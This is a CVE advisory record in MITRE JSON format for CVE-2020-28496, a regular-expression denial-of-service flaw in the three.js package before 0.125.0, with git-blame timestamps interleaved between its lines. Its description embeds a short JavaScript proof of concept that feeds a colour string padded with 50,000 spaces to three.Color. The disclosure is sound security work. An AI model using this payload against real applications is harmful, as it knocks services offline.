2020-11-12 20:02:30 +00:00
{
"data_type" : "CVE" ,
"data_format" : "MITRE" ,
"data_version" : "4.0" ,
"CVE_data_meta" : {
2021-02-18 16:18:31 +02:00
"ASSIGNER" : "report@snyk.io" ,
"DATE_PUBLIC" : "2021-02-18T14:18:29.728676Z" ,
2020-11-12 20:02:30 +00:00
"ID" : "CVE-2020-28496" ,
2021-02-18 16:18:31 +02:00
"STATE" : "PUBLIC" ,
"TITLE" : "Regular Expression Denial of Service (ReDoS)"
} ,
"affects" : {
"vendor" : {
"vendor_data" : [
{
"product" : {
"product_data" : [
{
"product_name" : "three" ,
"version" : {
"version_data" : [
{
"version_affected" : "<" ,
"version_value" : "0.125.0"
}
]
}
}
]
} ,
"vendor_name" : "n/a"
}
]
}
} ,
"problemtype" : {
"problemtype_data" : [
{
"description" : [
{
"lang" : "eng" ,
"value" : "Regular Expression Denial of Service (ReDoS)"
}
]
}
]
} ,
"references" : {
"reference_data" : [
{
2021-02-18 15:00:42 +00:00
"refsource" : "MISC" ,
"url" : "https://snyk.io/vuln/SNYK-JS-THREE-1064931" ,
"name" : "https://snyk.io/vuln/SNYK-JS-THREE-1064931"
2021-02-18 16:18:31 +02:00
} ,
{
2021-02-18 15:00:42 +00:00
"refsource" : "MISC" ,
"url" : "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972" ,
"name" : "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"
2021-02-18 16:18:31 +02:00
} ,
{
2021-02-18 15:00:42 +00:00
"refsource" : "MISC" ,
"url" : "https://github.com/mrdoob/three.js/issues/21132" ,
"name" : "https://github.com/mrdoob/three.js/issues/21132"
2021-02-18 16:18:31 +02:00
} ,
{
2021-02-18 15:00:42 +00:00
"refsource" : "MISC" ,
"url" : "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e" ,
"name" : "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"
2021-02-18 16:18:31 +02:00
}
]
2020-11-12 20:02:30 +00:00
} ,
"description" : {
"description_data" : [
{
"lang" : "eng" ,
2021-02-18 15:00:42 +00:00
"value" : "This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = \"rgb(\" for (var i = 0; i < n; i++) { ret += \" \" } return ret + \"\"; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+\" ms\")"
2020-11-12 20:02:30 +00:00
}
]
2021-02-18 16:18:31 +02:00
} ,
"impact" : {
"cvss" : {
"version" : "3.1" ,
"vectorString" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" ,
"baseScore" : 7.5 ,
"baseSeverity" : "HIGH" ,
"attackVector" : "NETWORK" ,
"attackComplexity" : "LOW" ,
"privilegesRequired" : "NONE" ,
"userInteraction" : "NONE" ,
"scope" : "UNCHANGED" ,
"confidentialityImpact" : "NONE" ,
"integrityImpact" : "NONE" ,
"availabilityImpact" : "HIGH"
}
} ,
"credit" : [
{
"lang" : "eng" ,
"value" : "Yeting Li"
} ,
{
"lang" : "eng" ,
"value" : "Liyuan Chen"
}
]
2020-11-12 20:02:30 +00:00
}